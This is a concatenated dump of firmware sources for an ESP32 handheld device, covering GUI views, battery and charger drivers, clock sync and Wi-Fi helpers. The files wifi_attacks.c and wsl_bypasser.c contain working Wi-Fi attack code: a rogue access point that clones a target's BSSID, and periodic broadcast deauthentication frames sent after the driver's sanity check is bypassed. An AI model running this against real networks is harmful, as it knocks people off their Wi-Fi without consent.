lv_style_t *style_get_font_alt_highlight(void); 41 | lv_style_t *style_get_font_danger(void); 42 | 43 | lv_style_t *style_get_bar_indic(void); 44 | lv_style_t *style_get_bar_background(void); 45 | lv_style_t *style_get_bar_knob(void); -------------------------------------------------------------------------------- /components/gui/views/test_view.c: -------------------------------------------------------------------------------- 1 | #include "test_view.h" 2 | 3 | static view_handler_t *calling_view; 4 | 5 | static lv_obj_t *test_view; 6 | static view_handler_t test_view_handler; 7 | 8 | static lv_obj_t *test_label; 9 | 10 | static void test_input_handler(user_actions_t user_action) { 11 | if (user_action == KEY_CLICK_SHORT) { 12 | calling_view->draw_view(test_view_get_handler()); 13 | } 14 | } 15 | 16 | static void test_view_clear() { 17 | lvgl_port_lock(0); 18 | lv_obj_clean(test_view); 19 | lvgl_port_unlock(); 20 | } 21 | 22 | static void test_view_draw(view_handler_t *_calling_view) { 23 | calling_view = _calling_view; 24 | if (calling_view != test_view_get_handler()) { 25 | calling_view->clear_view(); 26 | } 27 | set_current_view_handler(test_view_get_handler()); 28 | lvgl_port_lock(0); 29 | test_view = lv_obj_create(lv_screen_active()); 30 | lv_obj_set_size(test_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 31 | lv_obj_align(test_view, LV_ALIGN_TOP_LEFT, 0, 20); 32 | lv_obj_add_style(test_view, style_get_background_main(), LV_PART_MAIN); 33 | 34 | test_label = lv_label_create(test_view); 35 | lv_obj_align(test_label, LV_ALIGN_CENTER, 0, 0); 36 | lv_label_set_text(test_label, "TEST"); 37 | lvgl_port_unlock(); 38 | } 39 | 40 | void test_view_init(void) { 41 | test_view_handler.obj_view = test_view; 42 | test_view_handler.input_callback = test_input_handler; 43 | test_view_handler.draw_view = test_view_draw; 44 | test_view_handler.clear_view = test_view_clear; 45 | } 46 | 47 | view_handler_t *test_view_get_handler(void) { return &test_view_handler; } 48 | -------------------------------------------------------------------------------- /components/wifi/wifi.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | Largely inspired by https://github.com/risinek/esp32-wifi-penetration-tool 5 | */ 6 | 7 | #include "esp_check.h" 8 | #include "esp_err.h" 9 | #include "esp_log.h" 10 | #include "esp_wifi.h" 11 | #include "esp_wifi_types.h" 12 | #include 13 | 14 | #define WIFI_CONNECTED_BIT BIT0 15 | #define WIFI_FAIL_BIT BIT1 16 | 17 | #define MAX_SCAN_SIZE 10 18 | #define MAX_PHY_SIZE 15 19 | 20 | typedef struct { 21 | uint16_t count; 22 | wifi_ap_record_t records[MAX_SCAN_SIZE]; 23 | } wifi_ap_records_t; 24 | 25 | void wifi_init_apsta(void); 26 | 27 | void wifi_ap_start(wifi_config_t *wifi_config); 28 | void wifi_ap_stop(void); 29 | void wifi_sta_disconnect(void); 30 | void wifi_set_ap_mac(const uint8_t *mac_ap); 31 | void wifi_get_ap_mac(uint8_t *mac_ap); 32 | void wifi_restore_ap_mac(void); 33 | void wifi_get_sta_mac(uint8_t *mac_sta); 34 | void wifi_set_channel(uint8_t channel); 35 | 36 | void wifi_launch_scan(void); 37 | const wifi_ap_records_t *wifi_get_all_ap_records(void); 38 | const wifi_ap_record_t *wifi_get_one_ap_record(uint8_t record_index); 39 | const char *wifi_get_auth_string(wifi_auth_mode_t authmode); 40 | const char *wifi_get_cipher_string(wifi_cipher_type_t cipher_type); 41 | void wifi_get_bssid_string_from_record(uint8_t record_index, char *buffer); 42 | void wifi_get_phy_from_record(uint8_t record_index, char *buffer); 43 | 44 | esp_err_t wifi_connect(const char *ssid, const char *pass, 45 | const char *hostname); 46 | bool wifi_is_connected(void); 47 | bool wifi_is_connecting(void); 48 | int wifi_get_rssi(void); 49 | -------------------------------------------------------------------------------- /components/wifi/wifi_attacks.c: -------------------------------------------------------------------------------- 1 | #include "wifi_attacks.h" 2 | 3 | #include 4 | 5 | #include "esp_timer.h" 6 | #include "wsl_bypasser.h" 7 | 8 | static esp_timer_handle_t deauth_timer_handle; 9 | 10 | static void timer_send_deauth_frame(void *arg) { 11 | wsl_bypasser_send_deauth_frame((wifi_ap_record_t *)arg); 12 | } 13 | 14 | void wifi_attack_method_broadcast(const wifi_ap_record_t *ap_record, 15 | unsigned period_sec) { 16 | const esp_timer_create_args_t deauth_timer_args = { 17 | .callback = &timer_send_deauth_frame, .arg = (void *)ap_record}; 18 | ESP_ERROR_CHECK(esp_timer_create(&deauth_timer_args, &deauth_timer_handle)); 19 | ESP_ERROR_CHECK( 20 | esp_timer_start_periodic(deauth_timer_handle, period_sec * 1000000)); 21 | } 22 | 23 | void wifi_attack_method_broadcast_stop() { 24 | ESP_ERROR_CHECK(esp_timer_stop(deauth_timer_handle)); 25 | esp_timer_delete(deauth_timer_handle); 26 | } 27 | 28 | void wifi_attack_method_rogueap(const wifi_ap_record_t *ap_record) { 29 | wifi_set_ap_mac(ap_record->bssid); 30 | wifi_config_t ap_config = { 31 | .ap = {.ssid_len = strlen((char *)ap_record->ssid), 32 | .channel = ap_record->primary, 33 | .authmode = ap_record->authmode, 34 | .password = "dummypassword", 35 | .max_connection = 1}, 36 | }; 37 | mempcpy(ap_config.sta.ssid, ap_record->ssid, 32); 38 | wifi_ap_start(&ap_config); 39 | } 40 | 41 | void wifi_attack_dos_start(const wifi_ap_record_t *ap_record) { 42 | wifi_attack_method_rogueap(ap_record); 43 | wifi_attack_method_broadcast(ap_record, 1); 44 | } 45 | void wifi_attack_dos_stop() { 46 | wifi_attack_method_broadcast_stop(); 47 | wifi_restore_ap_mac(); 48 | wifi_ap_stop(); 49 | } -------------------------------------------------------------------------------- /components/bq27220/bq27220.h: -------------------------------------------------------------------------------- 1 | /* 2 | Based on: 3 | 4 | - https://github.com/JMare/esp-idf-bq27441 5 | - 6 | https://github.com/Xinyuan-LilyGO/T-Embed-CC1101/blob/master/examples/factory_test/peripheral/bq27220.h 7 | 8 | */ 9 | 10 | #pragma once 11 | 12 | // Common ESP-IDF Helpers 13 | #include "esp_check.h" 14 | #include "esp_err.h" 15 | #include "esp_log.h" 16 | 17 | // I2C 18 | #include 19 | 20 | // Commands 21 | #define bq27220_ADDR 0x55 22 | #include "bq27220_registers.h" 23 | 24 | typedef enum { 25 | CURRENT_RAW, 26 | CURRENT_INSTANT, 27 | CURRENT_STANDBY, 28 | CURRENT_CHARGING, 29 | CURRENT_AVERAGE 30 | } bq27220_current_mode_t; 31 | 32 | typedef enum { VOLT, VOLT_CHARGING, VOLT_RAW } bq27220_voltage_mode_t; 33 | 34 | union battery_state { 35 | struct __st { 36 | uint16_t DSG : 1; 37 | uint16_t SYSDWN : 1; 38 | uint16_t TDA : 1; 39 | uint16_t BATTPRES : 1; 40 | uint16_t AUTH_GD : 1; 41 | uint16_t OCVGD : 1; 42 | uint16_t TCA : 1; 43 | uint16_t RSVD : 1; 44 | uint16_t CHGING : 1; 45 | uint16_t FC : 1; 46 | uint16_t OTD : 1; 47 | uint16_t OTC : 1; 48 | uint16_t SLEEP : 1; 49 | uint16_t OCVFALL : 1; 50 | uint16_t OCVCOMP : 1; 51 | uint16_t FD : 1; 52 | } st; 53 | uint16_t full; 54 | }; 55 | 56 | esp_err_t bq27220_init(i2c_port_t i2c_port, SemaphoreHandle_t _i2c_lock); 57 | 58 | uint16_t bq27220_get_device_id(void); 59 | uint16_t bq27220_get_battery_state(void); 60 | float bq27220_get_temperature(void); 61 | bool bq27220_get_is_charging(void); 62 | uint16_t bq27220_get_remaining_capacity(void); 63 | uint16_t bq27220_get_full_charge_capacity(void); 64 | uint16_t bq27220_get_state_of_charge(void); 65 | uint16_t bq27220_get_voltage(bq27220_voltage_mode_t mode); 66 | uint16_t bq27220_get_current(bq27220_current_mode_t mode); -------------------------------------------------------------------------------- /components/gui/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "popup.c" "gui.c" 3 | "style.c" 4 | "view_commons.c" 5 | views/splash_view.c 6 | views/main_menu_view.c 7 | views/wifi_menu_view.c 8 | views/scan_view.c 9 | views/rfid_menu_view.c 10 | views/tools_view.c 11 | INCLUDE_DIRS . views 12 | PRIV_REQUIRES display userinputs sd wifi clock battery wsl_bypasser pn532 13 | ) 14 | 15 | # Convert image to C Array usibng LVGL tools 16 | lvgl_port_create_c_image("images_png/klaus_112x85.png" "images_c/" "RGB565A8" "NONE") 17 | lvgl_port_create_c_image("images_png/klaus_dab_126x85.png" "images_c/" "RGB565A8" "NONE") 18 | lvgl_port_create_c_image("images_png/klaus_afraid_104x85.png" "images_c/" "RGB565A8" "NONE") 19 | lvgl_port_create_c_image("images_png/klaus_bored_102x85.png" "images_c/" "RGB565A8" "NONE") 20 | lvgl_port_create_c_image("images_png/klaus_fuck_100x85.png" "images_c/" "RGB565A8" "NONE") 21 | lvgl_port_create_c_image("images_png/battery_15.png" "images_c/" "RGB565A8" "NONE") 22 | lvgl_port_create_c_image("images_png/sd_15.png" "images_c/" "RGB565A8" "NONE") 23 | lvgl_port_create_c_image("images_png/charge_15.png" "images_c/" "RGB565A8" "NONE") 24 | lvgl_port_create_c_image("images_png/wifi_ok_15.png" "images_c/" "RGB565A8" "NONE") 25 | lvgl_port_create_c_image("images_png/wifi_nok_15.png" "images_c/" "RGB565A8" "NONE") 26 | lvgl_port_create_c_image("images_png/wifi_107x85.png" "images_c/" "RGB565A8" "NONE") 27 | lvgl_port_create_c_image("images_png/scan_85.png" "images_c/" "RGB565A8" "NONE") 28 | lvgl_port_create_c_image("images_png/rfid_85.png" "images_c/" "RGB565A8" "NONE") 29 | lvgl_port_create_c_image("images_png/nowifi_85.png" "images_c/" "RGB565A8" "NONE") 30 | lvgl_port_create_c_image("images_png/tools_85.png" "images_c/" "RGB565A8" "NONE") 31 | 32 | # Add generated images to build 33 | lvgl_port_add_images(${COMPONENT_LIB} "images_c/") -------------------------------------------------------------------------------- /components/clock/clock.c: -------------------------------------------------------------------------------- 1 | #include "clock.h" 2 | #include "esp_netif_sntp.h" 3 | #include "esp_sntp.h" 4 | #include "lwip/ip_addr.h" 5 | #include "wifi.h" 6 | 7 | static const char *TAG = "SNTP"; 8 | 9 | static time_t now; 10 | static struct tm timeinfo; 11 | 12 | static char formated_time[64]; 13 | 14 | esp_err_t clock_set(const char *timezone) { 15 | time(&now); 16 | setenv("TZ", timezone, 1); 17 | tzset(); 18 | localtime_r(&now, &timeinfo); 19 | 20 | if (!wifi_is_connected()) { 21 | return ESP_FAIL; 22 | } 23 | 24 | esp_sntp_config_t config = ESP_NETIF_SNTP_DEFAULT_CONFIG("pool.ntp.org"); 25 | config.start = false; // start SNTP service explicitly (after connecting) 26 | config.server_from_dhcp = true; // accept NTP offers from DHCP server, if any 27 | // (need to enable *before* connecting) 28 | config.renew_servers_after_new_IP = 29 | true; // let esp-netif update configured SNTP server(s) after receiving 30 | // DHCP lease 31 | config.index_of_first_server = 32 | 1; // updates from server num 1, leaving server 0 (from DHCP) intact 33 | // config.ip_event_to_renew = IP_EVENT_STA_GOT_IP; 34 | esp_netif_sntp_init(&config); 35 | esp_netif_sntp_start(); 36 | int retry = 0; 37 | const int retry_count = 15; 38 | while (esp_netif_sntp_sync_wait(2000 / portTICK_PERIOD_MS) == 39 | ESP_ERR_TIMEOUT && 40 | ++retry < retry_count) { 41 | ESP_LOGI(TAG, "Waiting for system time to be set... (%d/%d)", retry, 42 | retry_count); 43 | } 44 | 45 | strftime(formated_time, sizeof(formated_time), "%c", &timeinfo); 46 | ESP_LOGI(TAG, "The current date/time is: %s", formated_time); 47 | return ESP_OK; 48 | } 49 | 50 | const char *clock_get_time(void) { 51 | time(&now); 52 | localtime_r(&now, &timeinfo); 53 | sprintf(formated_time, "%02d/%02d %02d:%02d:%02d", timeinfo.tm_mday, 54 | timeinfo.tm_mon + 1, timeinfo.tm_hour, timeinfo.tm_min, 55 | timeinfo.tm_sec); 56 | return formated_time; 57 | } -------------------------------------------------------------------------------- /components/bq27220/bq27220_registers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // commands 4 | #define BQ27220_COMMAND_CONTROL 0X00 // Control() 5 | #define BQ27220_COMMAND_AR 0X02 // AtRate() 6 | #define BQ27220_COMMAND_ARTTE 0X04 // AtRateEmpty() 7 | #define BQ27220_COMMAND_TEMP 0X06 // Temperature() 8 | #define BQ27220_COMMAND_VOLT 0X08 // Voltage() 9 | #define BQ27220_COMMAND_BAT_STA 0X0A // BatteryStatus() 10 | #define BQ27220_COMMAND_CURR 0X0C // Current() 11 | #define BQ27220_COMMAND_REMAIN_CAPACITY 0X10 // RemaininfCapacity() 12 | #define BQ27220_COMMAND_FCHG_CAPATICY 0X12 // FullCharageCapacity() 13 | #define BQ27220_COMMAND_AVG_CURR 0x14 // AverageCurrent(); 14 | #define BQ27220_COMMAND_TTE 0X16 // TimeToEmpty() 15 | #define BQ27220_COMMAND_TTF 0X18 // TimeToFull() 16 | #define BQ27220_COMMAND_STANDBY_CURR 0X1A // StandbyCurrent() 17 | #define BQ27220_COMMAND_STTE 0X1C // StandbyTimeToEmpty() 18 | #define BQ27220_COMMAND_MLTTE 0X20 // MaxLoadTimeToEmpty() 19 | #define BQ27220_COMMAND_RAW_COUL 0X22 // RawCoulombCount() 20 | #define BQ27220_COMMAND_AVG_POW 0X24 // AveragePower() 21 | #define BQ27220_COMMAND_INT_TEMP 0X28 // InternalTemp() 22 | #define BQ27220_COMMAND_CYCLE_CNT 0X2A // CycleCount() 23 | #define BQ27220_COMMAND_STATE_CHARGE 0X2C // RelativeStateOfCharge( 24 | #define BQ27220_COMMAND_STATE_HEALTH 0X2E // StateOfHealth() 25 | #define BQ27220_COMMAND_CHARGING_VOLT 0X30 // ChargeVoltage() 26 | #define BQ27220_COMMAND_CHARGING_CURR 0X32 // ChargeCurrent() 27 | #define BQ27220_COMMAND_BTP_DIS 0x34 // BTPDischargeSet() 28 | #define BQ27220_COMMAND_BTP_CHARGE 0x36 // BTPChargeSet() 29 | #define BQ27220_COMMAND_OP_STATUS 0x3A // OperationStatus() 30 | #define BQ27220_COMMAND_CAP_DESIGN 0x3C // Designed Capacity() 31 | #define BQ27220_COMMAND_RAW_CURR 0X7A // RawCurrent() 32 | #define BQ27220_COMMAND_RAW_VOLT 0X7C // RawVoltage() 33 | #define BQ27220_COMMAND_RAW_TEMP 0X7E // RawIntTemp() 34 | 35 | // Unseal key 36 | #define BQ27220_UNSEAL_KEY 0x8000 -------------------------------------------------------------------------------- /components/wsl_bypasser/wsl_bypasser.c: -------------------------------------------------------------------------------- 1 | /** 2 | * @file wsl_bypasser.c 3 | * @author risinek (risinek@gmail.com) 4 | * @date 2021-04-05 5 | * @copyright Copyright (c) 2021 6 | * 7 | * @brief Implementation of Wi-Fi Stack Libaries bypasser. 8 | */ 9 | #include "wsl_bypasser.h" 10 | 11 | #include 12 | #include 13 | 14 | #define LOG_LOCAL_LEVEL ESP_LOG_DEBUG 15 | #include "esp_err.h" 16 | #include "esp_log.h" 17 | #include "esp_wifi.h" 18 | #include "esp_wifi_types.h" 19 | 20 | static const char *TAG = "wsl_bypasser"; 21 | /** 22 | * @brief Deauthentication frame template 23 | * 24 | * Destination address is set to broadcast. 25 | * Reason code is 0x2 - INVALID_AUTHENTICATION (Previous authentication no 26 | * longer valid) 27 | * 28 | * @see Reason code ref: 802.11-2016 [9.4.1.7; Table 9-45] 29 | */ 30 | static const uint8_t deauth_frame_default[] = { 31 | 0xc0, 0x00, 0x3a, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 32 | 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 33 | 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x02, 0x00}; 34 | 35 | /** 36 | * @brief Decomplied function that overrides original one at compilation time. 37 | * 38 | * @attention This function is not meant to be called! 39 | * @see Project with original idea/implementation 40 | * https://github.com/GANESH-ICMC/esp32-deauther 41 | * 42 | * Check from 43 | * https://github.com/justcallmekoko/ESP32Marauder/blob/master/esp32_marauder/WiFiScan.cpp#L13 44 | */ 45 | int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { 46 | return 0; 47 | } 48 | 49 | void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size) { 50 | ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false)); 51 | } 52 | 53 | void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record) { 54 | ESP_LOGD(TAG, "Sending deauth frame..."); 55 | uint8_t deauth_frame[sizeof(deauth_frame_default)]; 56 | memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); 57 | memcpy(&deauth_frame[10], ap_record->bssid, 6); 58 | memcpy(&deauth_frame[16], ap_record->bssid, 6); 59 | 60 | wsl_bypasser_send_raw_frame(deauth_frame, sizeof(deauth_frame_default)); 61 | } -------------------------------------------------------------------------------- /components/gui/views/splash_view.c: -------------------------------------------------------------------------------- 1 | #include "splash_view.h" 2 | 3 | static lv_obj_t *splash_view; 4 | static view_handler_t *calling_view; 5 | static view_handler_t splash_view_handler; 6 | 7 | // 8 | // Splash Image 9 | lv_obj_t *splash_image; 10 | 11 | // LVGL images declaration 12 | LV_IMG_DECLARE(klaus_112x85); 13 | LV_IMG_DECLARE(klaus_afraid_104x85); 14 | LV_IMG_DECLARE(klaus_bored_102x85); 15 | LV_IMG_DECLARE(klaus_dab_126x85); 16 | LV_IMG_DECLARE(klaus_fuck_100x85); 17 | 18 | #define NB_IMAGES 5 19 | static uint8_t current_image_index = 0; 20 | static const void *image_list[NB_IMAGES] = { 21 | &klaus_112x85, &klaus_afraid_104x85, &klaus_bored_102x85, &klaus_dab_126x85, 22 | &klaus_fuck_100x85}; 23 | 24 | static void splash_view_clear() { 25 | lvgl_port_lock(0); 26 | lv_obj_clean(splash_view); 27 | lvgl_port_unlock(); 28 | } 29 | 30 | static void splash_input_handler(user_actions_t user_action) { 31 | switch (user_action) { 32 | case WHEEL_UP: 33 | current_image_index++; 34 | if (current_image_index >= NB_IMAGES) { 35 | current_image_index = 0; 36 | } 37 | lvgl_port_lock(0); 38 | lv_image_set_src(splash_image, image_list[current_image_index]); 39 | lvgl_port_unlock(); 40 | break; 41 | 42 | case WHEEL_DOWN: 43 | if (current_image_index > 0) { 44 | current_image_index--; 45 | } else { 46 | current_image_index = NB_IMAGES - 1; 47 | } 48 | lvgl_port_lock(0); 49 | lv_image_set_src(splash_image, image_list[current_image_index]); 50 | lvgl_port_unlock(); 51 | break; 52 | 53 | default: 54 | break; 55 | } 56 | } 57 | 58 | static void splash_view_draw(view_handler_t *_calling_view) { 59 | calling_view = _calling_view; 60 | if (calling_view != splash_view_get_handler()) { 61 | calling_view->clear_view(); 62 | } 63 | set_current_view_handler(splash_view_get_handler()); 64 | lvgl_port_lock(0); 65 | splash_view = lv_obj_create(lv_screen_active()); 66 | lv_obj_set_size(splash_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 67 | lv_obj_align(splash_view, LV_ALIGN_TOP_LEFT, 0, 20); 68 | lv_obj_add_style(splash_view, style_get_background_main(), 0); 69 | 70 | splash_image = lv_image_create(splash_view); 71 | lv_image_set_src(splash_image, image_list[current_image_index]); 72 | lv_obj_align(splash_image, LV_ALIGN_CENTER, 0, 0); 73 | lvgl_port_unlock(); 74 | } 75 | 76 | void splash_view_init(void) { 77 | splash_view_handler.obj_view = splash_view; 78 | splash_view_handler.input_callback = splash_input_handler; 79 | splash_view_handler.draw_view = splash_view_draw; 80 | splash_view_handler.clear_view = splash_view_clear; 81 | current_image_index = 0; 82 | } 83 | 84 | view_handler_t *splash_view_get_handler() { return &splash_view_handler; } 85 | -------------------------------------------------------------------------------- /components/gui/gui.c: -------------------------------------------------------------------------------- 1 | #include "gui.h" 2 | 3 | static const char *TAG = "GUI"; 4 | 5 | #include "display.h" 6 | #include "popup.h" 7 | #include "userinputs.h" 8 | 9 | #include "main_menu_view.h" 10 | #include "splash_view.h" 11 | #include "status_bar.h" 12 | #include "style.h" 13 | #include "view_commons.h" 14 | 15 | // LVGL 16 | #include "esp_lvgl_port.h" 17 | 18 | // LVGL Display handler 19 | static lv_display_t *lvgl_disp = NULL; 20 | 21 | // Screens 22 | static lv_obj_t *common_screen; 23 | 24 | static void user_action(user_actions_t action) { 25 | if (action == KEY_CLICK_LONG) { 26 | display_backlight_toggle(); 27 | } else if (action == WHEEL_CLICK_SHORT && 28 | get_current_view_handler() == splash_view_get_handler()) { 29 | main_menu_view_get_handler()->draw_view(get_current_view_handler()); 30 | } else if (popup_get_current_type() != POPUP_NOT_USED) { 31 | popup_input(action); 32 | } else { 33 | get_current_view_handler()->input_callback(action); 34 | } 35 | } 36 | 37 | esp_err_t gui_init() { 38 | const lvgl_port_cfg_t lvgl_cfg = { 39 | .task_priority = 4, /* LVGL task priority */ 40 | .task_stack = 6144, /* LVGL task stack size */ 41 | .task_affinity = -1, /* LVGL task pinned to core (-1 is no affinity) */ 42 | .task_max_sleep_ms = 500, /* Maximum sleep in LVGL task */ 43 | .timer_period_ms = 15 /* LVGL timer tick period in ms */ 44 | }; 45 | ESP_RETURN_ON_ERROR(lvgl_port_init(&lvgl_cfg), TAG, 46 | "LVGL port initialization failed"); 47 | 48 | ESP_LOGD(TAG, "Attach screen to LVGL"); 49 | const lvgl_port_display_cfg_t disp_cfg = { 50 | .io_handle = display_get_io_handle(), 51 | .panel_handle = display_get_panel_handle(), 52 | .buffer_size = LCD_DRAW_BUFF_SIZE, 53 | .double_buffer = LCD_DRAW_BUFF_DOUBLE, 54 | .hres = LCD_H_RES, 55 | .vres = LCD_V_RES, 56 | .monochrome = false, 57 | .rotation = 58 | { 59 | .swap_xy = LCD_SWAP_XY, 60 | .mirror_x = LCD_MIRROR_X, 61 | .mirror_y = LCD_MIRROR_Y, 62 | }, 63 | .flags = { 64 | .buff_dma = LCD_USE_DMA, 65 | .buff_spiram = LCD_USE_SPIRAM, 66 | .sw_rotate = false, 67 | .swap_bytes = LCD_BIGENDIAN, 68 | .full_refresh = false, 69 | .direct_mode = false, 70 | }}; 71 | 72 | lvgl_disp = lvgl_port_add_disp(&disp_cfg); 73 | 74 | lvgl_port_lock(0); 75 | common_screen = lv_obj_create(NULL); 76 | lvgl_port_unlock(); 77 | 78 | userinputs_register_callback(&user_action); 79 | style_init(); 80 | // Init all views 81 | splash_view_init(); 82 | main_menu_view_init(); 83 | set_current_view_handler(splash_view_get_handler()); 84 | get_current_view_handler()->draw_view(get_current_view_handler()); 85 | status_bar_init(); 86 | return ESP_OK; 87 | } -------------------------------------------------------------------------------- /components/gui/views/wifi_menu_view.c: -------------------------------------------------------------------------------- 1 | #include "wifi_menu_view.h" 2 | #include "scan_view.h" 3 | static view_handler_t *calling_view; 4 | 5 | static lv_obj_t *wifi_menu_view; 6 | static view_handler_t wifi_menu_view_handler; 7 | 8 | typedef enum { 9 | WIFI_MENU_SCAN, 10 | 11 | WIFI_MENU_SIZE 12 | } wifi_menu_items_t; 13 | 14 | static wifi_menu_items_t current_item; 15 | static lv_obj_t *current_item_label; 16 | LV_IMG_DECLARE(scan_85); 17 | 18 | static lv_obj_t *wifi_menu_image; 19 | static const void *image_list[WIFI_MENU_SIZE] = {&scan_85}; 20 | 21 | static const char *wifi_menu_texts[WIFI_MENU_SIZE] = {"SCAN"}; 22 | 23 | static void wifi_menu_input_handler(user_actions_t user_action) { 24 | switch (user_action) { 25 | case KEY_CLICK_SHORT: 26 | calling_view->draw_view(wifi_menu_view_get_handler()); 27 | break; 28 | case WHEEL_CLICK_SHORT: 29 | if (current_item == WIFI_MENU_SCAN) { 30 | scan_view_get_handler()->draw_view(calling_view); 31 | } 32 | break; 33 | case WHEEL_UP: 34 | current_item++; 35 | if (current_item >= WIFI_MENU_SIZE) { 36 | current_item = 0; 37 | } 38 | lvgl_port_lock(0); 39 | lv_label_set_text(current_item_label, wifi_menu_texts[current_item]); 40 | lv_image_set_src(wifi_menu_image, image_list[current_item]); 41 | lvgl_port_unlock(); 42 | break; 43 | default: 44 | break; 45 | } 46 | } 47 | 48 | static void wifi_menu_view_clear() { 49 | lvgl_port_lock(0); 50 | lv_obj_clean(wifi_menu_view); 51 | lvgl_port_unlock(); 52 | } 53 | 54 | static void wifi_menu_view_draw(view_handler_t *_calling_view) { 55 | calling_view = _calling_view; 56 | if (calling_view != wifi_menu_view_get_handler()) { 57 | calling_view->clear_view(); 58 | } 59 | set_current_view_handler(wifi_menu_view_get_handler()); 60 | lvgl_port_lock(0); 61 | wifi_menu_view = lv_obj_create(lv_screen_active()); 62 | lv_obj_set_size(wifi_menu_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 63 | lv_obj_align(wifi_menu_view, LV_ALIGN_TOP_LEFT, 0, 20); 64 | lv_obj_add_style(wifi_menu_view, style_get_background_main(), LV_PART_MAIN); 65 | 66 | wifi_menu_image = lv_image_create(wifi_menu_view); 67 | lv_image_set_src(wifi_menu_image, image_list[current_item]); 68 | lv_obj_align(wifi_menu_image, LV_ALIGN_CENTER, 0, -15); 69 | 70 | current_item_label = lv_label_create(wifi_menu_view); 71 | lv_label_set_text(current_item_label, wifi_menu_texts[current_item]); 72 | lv_obj_align(current_item_label, LV_ALIGN_CENTER, 0, 50); 73 | lv_obj_add_style(current_item_label, style_get_font_bigfont(), LV_PART_MAIN); 74 | 75 | lvgl_port_unlock(); 76 | } 77 | 78 | void wifi_menu_view_init(void) { 79 | wifi_menu_view_handler.obj_view = wifi_menu_view; 80 | wifi_menu_view_handler.input_callback = wifi_menu_input_handler; 81 | wifi_menu_view_handler.draw_view = wifi_menu_view_draw; 82 | wifi_menu_view_handler.clear_view = wifi_menu_view_clear; 83 | scan_view_init(); 84 | } 85 | 86 | view_handler_t *wifi_menu_view_get_handler(void) { 87 | return &wifi_menu_view_handler; 88 | } -------------------------------------------------------------------------------- /components/bq25896/bq25896.h: -------------------------------------------------------------------------------- 1 | /* 2 | Based on: https://github.com/lewisxhe/XPowersLib 3 | */ 4 | 5 | #pragma once 6 | 7 | #include "driver/i2c.h" 8 | #include 9 | 10 | #define BQ25896_ADDR (0X6B) 11 | 12 | #define BQ25896_VOLT_STEP (100) // Power off threshold 100mV steps 13 | #define BQ25896_VOLT_MIN (3000) // Power off min voltage 3.0V 14 | #define BQ25896_VOLT_MAX (3700) // Power off max voltage 3.7V 15 | 16 | #define BQ25896_CURR_STEP (50) // Input current limit 50mA step 17 | #define BQ25896_CURR_MAX (3250) // Input current limit Max 3.25A 18 | #define BQ25896_CURR_MIN (100) // Input current limit Min 100mA 19 | 20 | #define BQ25896_CHARGE_VOLT_STEP (16) // Charge target voltage 16mV steps 21 | #define BQ25896_CHARGE_VOLT_MAX (4608) // Charge target voltage max 4.608V 22 | #define BQ25896_CHARGE_VOLT_MIN (3840) // Charge target voltage min 3.84V 23 | 24 | #define BQ25896_PRECHARGE_CURR_STEP (64) // Precharge current 64mA steps 25 | #define BQ25896_PRECHARGE_CURR_MAX (1024) // Precharge current max 1024mA 26 | #define BQ25896_PRECHARGE_CURR_MIN (64) // Precharge current min 128mA 27 | 28 | #define BQ25896_CHARGE_CONST_CURR_STEP (64) // Charge constant current step 64mA 29 | #define BQ25896_CHARGE_CONST_CURR_MAX (3008) // Charge constant current max 3008mA, min 0mA 30 | 31 | #define BQ25896_PWOFF_TRESHOLD (3300) // We want to power off under 3.3V 32 | #define BQ25896_CHARGE_VOLT_DEFAULT (4208) // We want to charge at 4.208V 33 | #define BQ25896_CHARGE_CONST_CURR_DEFAULT (832) // We want fast charge at 832mA 34 | 35 | typedef enum 36 | { 37 | NO_CHARGE, 38 | PRE_CHARGE, 39 | FAST_CHARGE, 40 | CHARGE_DONE, 41 | CHARGE_UNKNOW 42 | } bq25896_charge_status_t; 43 | 44 | typedef enum 45 | { 46 | TIMEOUT_40SEC, 47 | TIMEOUT_80SEC, 48 | TIMEOUT_160SEC, 49 | } bq25896_watchdog_timeout_t; 50 | 51 | void bq25896_init(i2c_port_t _i2c_port, SemaphoreHandle_t i2c_lock); 52 | 53 | void bq25896_set_input_current_limit(uint16_t milliamps); 54 | uint16_t bq25896_get_input_current_limit(void); 55 | 56 | void bq25896_disable_current_limit_pin(void); 57 | void bq25896_enable_current_limit_pin(void); 58 | bool bq25896_get_current_limit_pin_state(void); 59 | 60 | void bq25896_set_charge_target_voltage(uint16_t millivolts); 61 | uint16_t bq25896_get_charge_target_voltage(void); 62 | 63 | void bq25896_set_precharge_current(uint16_t milliamps); 64 | uint16_t bq25896_get_precharge_current(void); 65 | 66 | void bq25896_set_charger_constant_current(uint16_t milliamps); 67 | uint16_t bq25896_get_charger_constant_current(void); 68 | 69 | void bq25896_enable_adc(void); 70 | void bq25896_disable_adc(void); 71 | 72 | void bq25896_enable_charge(void); 73 | void bq25896_disable_charge(void); 74 | bool bq25896_get_charge_state(void); 75 | 76 | void bq25896_enable_watchdog(bq25896_watchdog_timeout_t timeout); 77 | void bq25896_disable_watchdog(void); 78 | 79 | void bq25896_set_power_off_voltage(uint16_t threshold_millivolts); 80 | uint16_t bq25896_get_power_off_voltage(void); 81 | 82 | uint8_t bq25896_get_devices_id(void); 83 | bq25896_charge_status_t bq25896_get_charge_status(void); 84 | 85 | void bq25896_reset_registers(void); -------------------------------------------------------------------------------- /main/main.c: -------------------------------------------------------------------------------- 1 | // Common ESP-IDF Helpers 2 | #include "esp_check.h" 3 | #include "esp_err.h" 4 | #include "esp_log.h" 5 | #include "freertos/FreeRTOS.h" 6 | #include "freertos/task.h" 7 | 8 | #include "battery.h" 9 | #include "clock.h" 10 | #include "config.h" 11 | #include "display.h" 12 | #include "gui.h" 13 | #include "peripherals.h" 14 | #include "pn532.h" 15 | 